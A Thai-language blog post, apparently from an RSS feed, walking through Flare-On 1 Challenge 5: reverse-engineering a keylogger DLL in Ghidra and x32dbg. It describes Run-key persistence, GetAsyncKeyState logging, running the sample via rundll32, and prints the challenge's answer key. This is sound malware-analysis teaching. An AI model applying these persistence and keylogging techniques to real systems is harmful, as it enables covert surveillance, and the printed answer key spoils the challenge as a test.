ตัวนี้มาก เพราะมีความใกล้เคียงกับการโจมตีจริงๆที่พบทำให้เราสามารถนำไปปรับใช้ในการทำงานได้จริงเลย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VuJMQYDqAo32c8PIOaTGbg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=82622c1ec2b6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[เล่น Flare-on 1: Challenge 5–5get_it.exe (Part 2) Reverse Engineer, Malware Debugging]]></title>
            <link>https://huntsman-dfir.medium.com/%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99-flare-on-1-challenge-5-5get-it-exe-part-2-reverse-engineer-and-malware-debugging-84cdfda11b04?source=rss-a0f9fedd36d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/84cdfda11b04</guid>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malware-debugging]]></category>
            <dc:creator><![CDATA[WIRAPONG PETSHAGUN]]></dc:creator>
            <pubDate>Tue, 28 Dec 2021 13:01:22 GMT</pubDate>
            <atom:updated>2021-12-29T09:46:00.647Z</atom:updated>
            <content:encoded><![CDATA[<h3>เล่น Flare-on 1: Challenge 5–5get_it.exe เพื่อเรียนรู้การวิเคราะห์ Malware (Part 2) Reverse Engineer, Malware Debugging</h3><h3>Part 2</h3><p>จากที่เราได้วิเคราะห์ใน Part 1 ทำให้เราก็รู้ถึงการทำงานของ Malware ไปแล้ว</p><p><a href="https://huntsman-dfir.medium.com/%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99-flare-on-1-challenge-5-5get-it-exe-%E0%B8%A7%E0%B8%B4%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%B2%E0%B8%B0%E0%B8%AB%E0%B9%8C-malware-part-1-basic-27f4cc82b221">เล่น Flare-on 1: Challenge 5–5get_it.exe วิเคราะห์ Malware (Part 1) Basic</a></p><p>ใน Part 2 นี้เราจะเจาะลึกลงไปอีกเพื่อหา Key มาตอบโจทย์ของ Challenge 5 กัน</p><h3>Part 2 — Reverse Engineer</h3><p>เริ่มจากการทำ Reverse Engineer ด้วย Ghidra [1] โปรแกรมฟรีจาก NSA ให้ทำการสร้าง Project และ Import ไฟล์ 5get_it เข้าไปแล้วลากใส่หัวมังกรสีเขียว</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/198/1*rfeFXCVfF3KfpUxhIcY6FQ.png" /></figure><p>จากนั้นให้ให้มัน Analyze ส่วนต่างๆขอโปรแกรม</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*bpX3df-ZuqeqXErUNvCZmQ.png" /></figure><p>ให้เราเริ่มวิเคราะห์ entry function เนื่องจาก DllMain จะถูกเรียกจาก entry โดยให้เลือก Exports &gt; entry ตามภาพ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*msEigUvcl9lskMC7V-1aWQ.png" /></figure><p>จากนั้นเราจะเห็นได้ว่า Ghidra มีการ Label function ต่าง ๆ ให้ง่ายต่อการวิเคราะห์และมีการ Decompile แสดงออกมาให้เราดูเป็นภาษา C ทำให้สามารถวิเคราะห์ได้ไวขึ้นด้วย</p><p>ให้เรา Double-Click ที่ <strong>___DllMainCRTStartup</strong> เพื่อเข้าไปดูใน DllMain</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XZcHl_DIoRyV4L6mn03Myg.png" /></figure><p>หลังจากเข้ามาที่ DllMain จะพบว่ามีการเรียก <strong>FUN_1000a680</strong> โดยชื่อของ Function ที่ตั้งโดย Ghidra จะมี format ดังนี้</p><ul><li><strong>FUN</strong> = Function</li><li><strong>1000a680</strong> = ตำแหน่ง Offset ของ Function นั้น</li></ul><p>ให้เรา Double-Click เข้าไปที่ <strong>FUN_1000a680</strong> เพื่อทำการวิเคราะห์</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jzp2m3zvWOfGUKE7GCXDPA.png" /></figure><h3><strong>FUN_100a680 = malware_main</strong></h3><p>หลังจากที่เข้ามาที่ <strong>FUN_100a680</strong> แล้วจะพบว่า Function นี้แหละที่เป็น <strong>Main Function ของ Malware</strong></p><p>ดังนั้นให้เราควรทำการเปลี่ยนชื่อ Function จาก <strong>FUN_1000a680</strong> เป็น <strong>malware_main</strong> โดยการคลิกที่ชื่อ Function แล้วกด l หรือคลิกขวาที่ชื่อ Function แล้วกด Rename Function ก็ได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*-QQ3UP7E140pU2gLNAK9lA.png" /></figure><p>การเปลี่ยนชื่อ Function จะช่วยให้เราสามารถกลับมาอ่านได้ง่ายยิ่งขึ้น ไม่ต้องจำว่า FUN_1000a680 มันคือ Function อะไร</p><p>พบว่ามี Function ที่น่าสนใจดังนี้</p><ul><li><strong>FUN_1000a570</strong></li><li><strong>lpModuleName_1000a610</strong></li><li><strong>FUN_1000a4c0</strong></li></ul><p>ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9dy3OW-JmHXo6QwoBS8kug.png" /></figure><p>ให้ทำการ Double-Click เข้าไปวิเคราะห์ใน <strong>FUN_1000a570</strong> ก่อนเมื่อเข้ามาจะเจอ Code ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PDNBhbErEQ5RKe7JMF1FIQ.png" /></figure><h3>FUN_1000a570 = <strong>check_autorun_registry</strong></h3><p>เข้ามาวิเคราะห์จะพบว่า Function นี้ทำงานเกี่ยวกับการเช็คค่า Registry Key ที่อยู่ใน <strong>SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost </strong>โดยการใช้ <strong>RegOpenKeyExA</strong> และ <strong>RegQueryValueExA</strong> เพื่อเช็คว่า Registry Key ดังกล่าวมีอยู่บนเครื่องแล้วหรือไม่ ซึ่ง Registry Key ตัวนี้ก็คือ <strong>Autorun</strong> [2] ที่เราเจอไปแล้วจากการวิเคราะห์ใน Part 1 นั่นเอง</p><p>หลังจากวิเคราะห์ให้ทำการ Rename ให้สื่อความหมายกับการทำงานของ Function เป็น <strong>check_autorun_registry</strong></p><p>จากนั้นให้กดปุ่ม Back (Alt+Left) เพื่อกลับไปที่ <strong>malware_main</strong> แล้วไปวิเคราะห์ <strong>lpModuleName_1000a610</strong> กันต่อ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MmNUUJX1WTh6yG0pO71pNA.png" /></figure><h3>lpModuleName_1000a610 = <strong>set_autorun_registry</strong></h3><p>เข้ามาแล้วก็จะพบว่า Function นี้ทำงานเกี่ยวกับการสร้าง Registry Key ที่อยู่ใน <strong>SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost</strong> [2] ด้วยการใช้ <strong>RegCreateKeyA</strong> <strong>เพื่อฝังตัว (Persistence)</strong> บนเครื่อง ซึ่งเราเจอไปแล้วในการวิเคราะห์ที่ Part 1 เช่นเดียวกัน</p><p>หลังจากวิเคราะห์ให้ทำการ Rename ให้สื่อความหมายกับการทำงานของ Function เป็น <strong>set_autorun_registry</strong></p><p>จากนั้นไปวิเคราะห์ <strong>FUN_1000a4c0</strong> กันต่อ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DE4fYbi4NMkT1VOSOgqSzQ.png" /></figure><h3>FUN_1000a4c0</h3><p>พบว่ามี 2 Function ย่อยที่น่าสนใจคือ</p><ul><li><strong>FUN_10009eb0</strong></li><li><strong>FUN_10001000</strong></li></ul><p>เข้าไปวิเคราะห์ <strong>FUN_10009eb0</strong> กันก่อน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IhxZY-thE9YRCvEr9-CeHQ.png" /></figure><h3>FUN_10009eb0 = keylogger</h3><p>พบว่ามีการเรียกใช้ <strong>GetAsyncKeyState</strong> <strong>[3] </strong>ซึ่งเป็น Function สำหรับ KeyLogger ซึ่งหลังจากที่ใช้ <strong>GetAsyncKeyState</strong> จะมีการเทียบค่าด้วยเงื่อนไขเป็นจำนวนมากเริ่มตั้งแต่ <strong>0x27</strong> ไล่ไปเรื่อย ๆ จากนั้นมีการเรียก Function ย่อยข้างในแต่ละ condition อีกที</p><p>ดังนั้นเราลองเข้าไปดูที่ <strong>FUN_100093b</strong> กันก่อน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/264/1*WkzduE4iFjGpz2EcwHStWw.png" /></figure><p>เข้ามาดูจะพบว่า <strong>FUN_100093b0</strong> ที่ถูกเรียกในเงื่อนไขแรกนั้นไม่มีการทำงานอะไรด้านในเลย มีแค่การ Return ค่าที่อยู่ที่ <strong>&amp;DAT_100141bc</strong> ดังนั้น ให้เข้า Double-Click เข้าไปดูค่าดังกล่าว</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*Fes9S5cY4tELrjA0H-l-Dw.png" /></figure><p>หลังจากที่เราเข้ามาดูที่ <strong>DAT_100141bc</strong> จะพบว่าค่าที่เก็บไว้คือ <strong>‘ (Char) </strong>ซึ่งมีค่าเท่ากับ <strong>0x27(Hex)</strong> ซึ่งตรงกับเงื่อนไขเลย</p><p>ดังนั้นเงื่อนไขต่างๆที่พบใน <strong>FUN_10009eb0</strong> มันคือการ Mapping ค่าการกด Keyboard จาก Hex ไปเป็น Char</p><p>สรุปว่า <strong>FUN_10009eb0</strong> ทำงานเกี่ยวกับการบันทึกการกด Keyboard และนำมา Mapping เป็น Char นั่นเอง</p><p>หลังจากวิเคราะห์ให้ทำการ Rename ให้สื่อความหมายกับการทำงานของ Function เป็น <strong>keylogger</strong></p><p>จากนั้นกลับไปวิเคราะห์ <strong>FUN_10001000</strong> กันต่อ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_66oRxtbnn2wBx5vv4CKMQ.png" /></figure><h3>FUN_10001000 = <strong>write_log_to_svchost</strong></h3><p>สำหรับ Function จะเป็นการทำงานเกี่ยวกับการเปิดไฟล์และเขียนไฟล์ <strong>svchost.log</strong> โดยใช้ <strong>fopen</strong> และ <strong>fputs</strong> ซึ่งเราทราบจากการวิเคราะห์ใน Part 1 แล้วว่า <strong>svchost.log</strong> คือไฟล์บันทึก Key ต่าง ๆ</p><p>หลังจากวิเคราะห์ให้ทำการ Rename ให้สื่อความหมายกับการทำงานของ Function เป็น <strong>write_log_to_svchost</strong></p><p>และกลับไปดูภาพรวมที่ <strong>FUN_1000a4c0</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*GFvV2enuE1AOYufIGgoCwA.png" /></figure><h3>สรุปการวิเคราะห์ FUN_1000a4c0 = main_keylogger</h3><p>หลังจากที่วิเคราะห์เสร็จเราสามารถสรุปได้ว่า Function นี้เป็น Main Function ที่ทำงานเกี่ยวกับ​ <strong>KeyLogger</strong> ซึ่งจะมีการหน่วงเวลาด้วย sleep และเขียนไฟล์ Log ลงใน <strong>svchost.log</strong> ทุก 10 Milliseconds</p><p>หลังจากวิเคราะห์ให้ทำการ Rename ให้สื่อความหมายกับการทำงานของ Function เป็น <strong>main_keylogger</strong></p><p>ตอนนี้เราก็วิเคราะห์ส่วนหลักๆของโปรแกรมครบทุกส่วนแล้ว ถ้ากลับมาดูจะได้หน้าตาของ <strong>malware_main</strong> (FUN_1000a680) ที่เปลี่ยนไปตามด้านล่าง เนื่องจากเราได้วิเคราะห์และเปลี่ยนชื่อ Function ต่าง ๆ ให้สื่อความหมายแล้ว</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*ZylOg44XvS_6DxqiLIopBQ.png" /></figure><h3>malware_main (FUN_1000a680)</h3><p>กลับมาที่ <strong>malware_main</strong> เพื่อวิเคราะห์ภาพรวมการทำงานของ Malware ตัวนี้ ก็จะสามารถสรุปได้ว่า Malware ตัวนี้ทำงานโดยเริ่มจากการ</p><ol><li>เช็คค่า Autorun Registry บนเครื่องว่าได้ Set ไว้แล้วหรือยัง (Line: 33) โดยเช็คจาก local_114 ที่มาจาก <strong>check_autorun_registry</strong> (Line: 22)</li><li>หากยังไม่ได้มีการ Set ก็จะทำการ Copy ตัวเองไปไว้ใน <strong>C:\\Windows\system32\svchost.dll</strong> (Line: 35)</li><li>จากนั้นก็จะไป <strong>Set Autorun Registry</strong> เพื่อฝังตัว (Line: 36)</li><li>KeyLogger ทำงาน (Line: 41)</li></ol><h3>เหมือนจะจบแล้ว แต่ยังไม่จบเรายังไม่เจอ Key !!</h3><p>ให้เรากลับไปที่ <strong>keylogger (FUN_10009eb0) </strong>เนื่องจาก Function นี้มันมีการเรียก Function ย่อยจำนวนมาก ให้เราเปลี่ยนการดูในรูปแบบของ Code เป็น <strong>Function Call Graph</strong> โดยเลือกที่ Windows &gt; Function Call Graph</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/308/1*WUT6WyYyIxQIOLTfiR2mkA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s-stpSMObFD7IefvKtD8SA.png" /></figure><p>เราจะเห็นว่า <strong>keylogger (FUN_10009eb0)</strong> มีการเรียก Function จำนวนมาก ซึ่งจากที่เราวิเคราะห์ใน Section ก่อนเราพบว่าเป็นการเรียกเพื่อ return ค่าของ char ซึ่งเกิดจากเงื่อนไขสำหรับ Mapping key ต่าง ๆ ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*mXdMKR85b2zXhHPAyvXH4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*WkzduE4iFjGpz2EcwHStWw.png" /></figure><p>ให้เราลองหาว่ามี Function ไหนที่ซ่อน Function ย่อยไว้อีกหรือไม่ โดยการคลิกขวาแล้วเลือก Show Outgoing Level Edges ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*AvVqn6X3Jpkr6mM0d6qpFA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cKnX0Y1O1K-fJZoLwlI5ig.png" /></figure><p>หลังจากที่กดออกมา พบว่ามันมีการเรียก Function ย่อยเฉยเลย ซึ่งมี 2 Function คือ</p><ul><li><strong>FUN_10001060</strong></li><li><strong>FUN_10001240</strong></li></ul><p>ให้เข้าไปดูที่ <strong>FUN_10001060</strong> ก่อน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/236/1*zElB6A80PT80T6w2C8c-cA.png" /></figure><h3>FUN_10001060 = initial_value</h3><p>หลังจากที่เข้ามาดูจะพบว่าเป็นการ Initial ค่าบางอย่างโดยจะมีค่าเป็น 0 และ 1 จำนวนเยอะมากก</p><p>ให้เรา rename ชื่อ Function ไว้เป็น <strong>initial_value</strong></p><p>จากนั้นไปดูกันที่ <strong>FUN_10001240</strong> ต่อ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/239/1*WLxilDRaEitSqx3bJpVyvg.png" /></figure><h3>FUN_10001240 = show_flare_dialogbox</h3><p>เข้ามาดูก็จะพบการประกาศตัวแปร local มากมายเช่นเดียวกัน และ Function ไม่ได้มีการรับ Parameter ใด ๆ เข้ามา (void)</p><p>ซึ่งหากดูการทำงานในรูปแบบของ Function Call Graph ตามภาพด้านล่าง ก็จะพบว่ามีการไปเรียก <strong>DialogBox</strong> ขึ้นมาแสดงอะไรบางอย่างด้วย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*NIJZbIfHb2V3Jjvc0wxuaw.png" /></figure><p>ดังนั้นเราจะไปดูกันว่า Function นี้มันเรียก <strong>DialogBox</strong> อะไรขึ้นมาด้วยการ Debug ด้วย x32dbg [4]</p><h3>Part 2 — Malware Debugging</h3><p>เริ่มจากเปิดโปรแกรม x32dbg ขึ้นมาและเข้าไปที่ Options &gt; Settings เพื่อตั้งจุด Break Point เบื้องต้นโดยเราจะเลือก Entry Breakpoint กับ Dll Entry ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/236/1*IX_YyUC2UBYIsFOh-racog.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*vqJhDwbKDbt5XTbLc2T4Gw.png" /></figure><p>จากนั้นเปิด rundll32.exe ขึ้นมาโดยเข้าไปที่ File &gt; Open และเลือก rundll32.exe และไป Set Command Line โดยเข้าไปที่ File &gt; Change Command Line และเปลี่ยนเป็นรูปแบบดังนี้</p><blockquote>“C:\Windows\SysWOW64\rundll32.exe” “path_to\5get_it.dll”,DllMain</blockquote><p>เพื่อใช้<strong> rundll32.exe</strong> ในการรัน Malware</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/1*aSn7B5IO4FgiI1LYJUYenw.png" /></figure><p>จากนั้นให้กด Run ครั้งนึงก็จะทำงานมาถึง <strong>EntryPoint (0x69f1b186) </strong>ของ <strong>5get_it.dll </strong>ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i_5nF3DITg25TAKas35PXw.png" /></figure><p>จากนั้นเราจะให้โปรแกรมโดดไปทำงานที่​ Function ที่เรียก DialogBox ด้วยการ Set ค่า Register ที่ชื่อว่า <strong>EIP หรือ Instruction pointer</strong> ซึ่งเป็นตัวชี้ว่าคำสั่งถัดไปที่โปรแกรมจะทำงานอยู่ที่ตำแหน่งไหน</p><p>แต่เราไม่สามารถ Set ไปที่ <strong>FUN_10001240 </strong>ได้เนื่องจาก Offset ของ Ghidra และ x32dbg นั้นไม่ตรงกัน</p><ul><li>EntryPoint ของ Ghidra จะอยู่ที่ <strong>0x1000b186</strong></li><li>EntryPoint ของ x32dbg จะอยู่ที่ <strong>0x69f1b186</strong></li></ul><p>ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*Ht9OWqFc1HKsjTqyymYWJA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*aF2glTzi0EIpfEDMV5lDFw.png" /></figure><p>ส่วน <strong>FUN_10001240</strong> ที่มีการแสดง DialogBox</p><ul><li>FUN_10001240 ของ Ghidra อยู่ที่ <strong>0x10001240</strong></li><li>ส่วน x32dbg หลังคำนวนแล้วจะอยู่ที่ <strong>0x69f11240</strong></li></ul><p>ดังนั้นให้เรา Set EIP ไปที่ตำแหน่ง <strong>0x69f11240</strong> โดยการคลิกขวาแล้วเลือกที่ Modify value</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*OWXNX-8RRQxZIoWY4O2npQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/259/1*y1PAV3r6Qu1cIp-Rxcs5VA.png" /></figure><p>หลังจาก Set แล้วโปรแกรมก็จะโดดไปทำงานที่ตำแหน่ง 0x69f11240 ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*stbFResxs-lftiHnj81tEg.png" /></figure><p>จากนั้นให้คลิกที่ <strong>Execute till return </strong>เพื่อ Run Code ส่วนนี้จนจบ Function</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*_Itv3K11tyal6Y8Ur0IoEQ.png" /></figure><p>หลักจาก Run เสร็จจะพบว่ามี DialogBox ขึ้นมาจริง ๆ ด้วย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*cPyWXFmuN3gNLrwMvu4H3g.png" /></figure><h3>แต่มันก็ยังไม่ใช่ Key ที่เป็นคำตอบของ Challenge นี้อยู่ดี</h3><p>ให้เราย้อนกลับไปดูที่ Ghidra และ rename จาก <strong>FUN_10001240</strong> ให้เป็น <strong>show_flare_dialogbox </strong>ก่อน</p><p>จากนั้นให้ดูในรูปแบบของ <strong>Function Call Graph</strong> เราจะพบว่า <strong>show_flare_dialogbox (FUN_10001240)</strong> ถูกเรียกได้จาก <strong>FUN_10009af0</strong> เพียงตัวเดียวเท่านั้น ตามภาพด้านล่าง</p><p>ดังนั้นเราจะไปดูที่ <strong>FUN_10009af0</strong> กันต่อ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ECW6IKLD8tvUhX0s70FTmQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b7b4SGs85AQiykpKpsooAg.png" /></figure><h3>FUN_10009af0</h3><p>หลังจากที่เข้ามาให้ดู <strong>XREF</strong> ของ <strong>FUN_10009af0</strong> (XREF คือตัวที่บอกว่า Function นี้ถูกเรียกจากที่ไหนบ้าง) จะพบว่า Function ที่เรียก <strong>FUN_10009af0</strong> คือ <strong>keylogger (FUN_10009eb0) </strong>โดยเรียกที่ตำแหน่ง <strong>0x1000a1bf</strong></p><p>ให้เรา Double-Click ที่ XREF ดังกล่าวเพื่อเข้าไปดู</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ElzptUmCU-eTG0124hyNJQ.png" /></figure><p>เข้ามาดูก็จะพบว่า <strong>FUN_10009af0</strong> ถูกเรียกจาก condition ที่ใช้สำหรับ Mapping Key ตัว <strong>m</strong> จาก Keyboard</p><p>ดังนั้นตอนนี้สรุปขั้นตอนการเรียก DialogBox ได้ดังนี้</p><ol><li>กดตัว m</li><li><strong>keylogger (FUN_10009eb0) </strong>เรียก <strong>FUN_10009af0</strong></li><li><strong>FUN_10009af0</strong> เช็คว่า <strong>DAT_100094fc</strong> มากกว่า 0 หรือไม่ ถ้ามากกว่าไปข้อ 4</li><li><strong>FUN_10009af0</strong> เรียก <strong>show_flare_dialogbox</strong> เพื่อแสดง DialogBox</li></ol><blockquote>ถึงสเต็ปนี้เราก็พอเดาได้แล้วว่า key สุดท้ายที่เราตามหาน่าจะเป็นตัว m ส่วน เงื่อนไขที่เช็คว่าค่าที่อยู่ใน DAT_100094fc มากกว่า 0 หรือไม่ น่าจะเป็น key ที่อยู่ก่อนหน้า m</blockquote><h3>ดังนั้นตอนนี้เรารู้แล้วว่า Key ตัวแรกคือ m</h3><p>ให้เราไปสืบกันต่อว่าค่าใน <strong>DAT_100094fc</strong> มันถูก Set ให้มากว่า 0 จากตรงไหน เพื่อหา key ก่อนหน้า m</p><p>โดยให้ Double-Click ที่ค่า <strong>DAT_100094fc</strong> เพื่อดูค่าของมันตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uEr1ue5NUoS5Iirz83dtVQ.png" /></figure><p>จากนั้นเอา Mouse ไปชี้ที่ XREF แต่ละตัว ซึ่ง XREF เป็นตัวบอกว่ามีการใช้ <strong>DAT_100094fc</strong> ที่ใดบ้าง</p><ul><li><strong>(W) </strong>คือ Write</li><li><strong>(R) </strong>คือ Read</li></ul><p>โดยให้หา XREF ที่มีการ Write ค่าใน <strong>DAT_100094fc</strong> ให้มากกว่า 0</p><p>ก็จะพบว่า <strong>DAT_100094fc</strong> นั้นถูก Write เป็น 1 ใน <strong>FUN_10009b60</strong> โดยอยู่ Offset ที่ <strong>0x10009bf5</strong> ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jCFZTrcl1SZyftELk3RVRA.png" /></figure><p>ให้เรา Double-Check ที่ XREF ดังกล่าว</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pefjuuytNJQOF4XonxLZIQ.png" /></figure><p>จะพบว่ามีเงื่อนไขสำหรับเช็คค่าอื่น ๆ ว่ามีค่าน้อยกว่า 1 หรือไม่ เหมือนเป็นการเช็ค Key ก่อนหน้าอีกทีนึง ซึ่งเดียวเราค่อยกลับมาดูทีหลัง</p><p>ขั้นตอนถัดไปเราจะไปดูกันว่า Function ที่เรียกเข้ามาที่ <strong>FUN_10009b60</strong> คือ Function อะไร โดยให้ดูจาก <strong>XREF</strong> ของ <strong>FUN_10009b60</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cqtd0b-0QXuTrAJ99Z3y5g.png" /></figure><p>ก็จะพบว่า <strong>FUN_10009b60</strong> ถูกเรียกมาจาก <strong>keylogger (FUN_10009eb0)</strong> ให้เรา Double-Click ที่ XREF ดังกล่าว</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3E--FMp6LIgJMOknVTcf1g.png" /></figure><p>เข้ามาดูก็จะพบว่า <strong>FUN_10009b60</strong> ถูกเรียกจาก condition ที่ใช้สำหรับ Mapping Key ตัว <strong>o</strong> จาก Keyboard</p><p>ดังนั้นสรุปได้ดังนี้</p><ol><li>กด o บน keyboard</li><li><strong>keylogger (FUN_10009eb0)</strong> เรียก <strong>FUN_10009b60</strong></li><li>เช็ค Key ก่อนหน้าตัว <strong>o</strong> ตามโดยดูจาก DAT ต่าง ๆ ถ้า Key ก่อนหน้าถูกต้องจะทำงานต่อตามข้อ 4 ถ้าผิดทำงานต่อตามข้อ 5</li><li>ถ้า Key ก่อนหน้าถูกทำการ Set ค่า DAT ให้เป็น 1</li><li>ถ้า Key ก่อนหน้าผิดจะทำการ Reset ค่า DAT ใหม่ทั้งหมดโดยเรียก <strong>initial_value (FUN_10001060)</strong></li></ol><p>ให้เรา rename DAT ที่ถูก Set เป็น 1 ใน <strong>FUN_10009b60</strong> ให้เป็นตัว <strong>o</strong> ไว้ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/311/1*iTrKvPWON8e9_Xot41rj8A.png" /></figure><h3>จนถึงตอนนี้เรารู้ Key สองตัวแล้วคือ om</h3><p>จากนั้นให้เราสืบต่อว่า Key ก่อนหน้าเป็นตัวอะไร โดยถ้าเราสังเกตใน <strong>FUN_10009b60</strong> จะพบว่าคีย์ก่อน o นั้นจะต้องถูก Set มาจาก <strong>DAT_100194f8</strong> แน่นอน</p><p>จากนั้นให้เราไปไล่ตาม Flow เดิมเพื่อหาว่า <strong>DAT_100194f8</strong> ถูก Set ค่ามากกว่า 1 จากการกด Key ตัวใด</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LcaYctw1kM-0-UzcqRVIYg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bpacN39Qad4Lm7QOvRqwIA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6h-UHJMCxd7lQYxRyqBTqw.png" /></figure><p>ก็จะพบว่า <strong>DAT_100194f8</strong> ถูก set ค่าเป็น 1 จากการกด Key ตัว <strong>c</strong> ดังนั้นให้ rename <strong>DAT_100194f8</strong> เป็นตัว <strong>c</strong></p><p>และก่อน Key ตัว c จะมีการเช็ค Key ก่อนหน้าจากค่าของ <strong>DAT_100194f4</strong> ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/241/1*_GhB7FxMTWV1g_-TaRUFgw.png" /></figure><h3>ตอนนี้เราก็รู้ key ทั้งหมด 3 ตัวแล้วคือ com</h3><p>ขั้นตอนถัดไปก็แค่ไล่หา Key ก่อนหน้าไปเรื่อย ๆ (ซึ่งตัวถัดไปคือ <strong>DAT_100194f4</strong>) สุดท้ายก็จะได้ Key ออกมาทั้งหมด</p><p>นอกจากนั้นหากสังเกตดี ๆ ที่ <strong>initial_value (FUN_10001060) </strong>จะเห็นว่า DAT ที่อยู่ใน Function นี้มันถูกเรียงค่าตามลำดับของ Key อยู่แล้ว เพราะตอนนี้เราแกะถึง Key ตัว o และก่อนหน้าคือ <strong>DAT_100194f4</strong> ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/202/1*t1CTcBE4ERN1NAL2cT0MKQ.png" /></figure><p>ดังนั้นเราสามารถไล่หา key จากค่า DAT ใน <strong>initial_value (FUN_10001060) </strong>นี้ได้เช่นเดียวกัน</p><p>หลังจากไล่จนครบจะได้ Key เป็น</p><blockquote>l0ggingdoturdot5tr0ke5atflaredashondotcom</blockquote><p>หรือก็คือ</p><blockquote>l0gging.ur.5tr0ke5@flare-on.com</blockquote><p>ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/246/1*c8r6FrA1YTDO_CeItqGm4Q.png" /></figure><h3>สรุป Part 2</h3><p>หลังจากที่เราวิเคราะห์ด้วยเทคนิคทั้งหมดใน Part 2 สรุปได้ว่า Malware ซ่อน Function แสดง DialogBox คำว่า Flare ไว้ โดยการที่จะเรียกขึ้นมาได้จะต้องกด Key เรียงกันจนเป็นคำว่า <strong>l0ggingdoturdot5tr0ke5atflaredashondotcom</strong> ถึงจะมี DialogBox แสดงขึ้นมาซึ่งเป็น Key คำตอบของเรานั่นเอง</p><h3>ยินดีด้วยครับ มันจบแล้วเราได้ Key แล้ว — Well Done !</h3><p>ขอบคุณผู้อ่านทุกท่านที่อ่านมาจนจบ 2 Part หวังว่าบทความนี้จะมีประโยชน์กับทุกท่านที่เข้ามาอ่าน หากผิดพลาดประการใดขออภัยมา ณ​ ที่นี้ด้วยครับ</p><p>อย่าลืมกด Like, Follow กันด้วย เจอกันใหม่ในบทความหน้าครับ</p><h3>Ref.</h3><p>[1] <a href="https://ghidra-sre.org/">https://ghidra-sre.org/</a></p><p>[2] <a href="https://attack.mitre.org/techniques/T1547/001/">https://attack.mitre.org/techniques/T1547/001/</a></p><p>[3] <a href="https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate">https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate</a></p><p>[4] <a href="https://x64dbg.com/#start">https://x64dbg.com</a></p><img 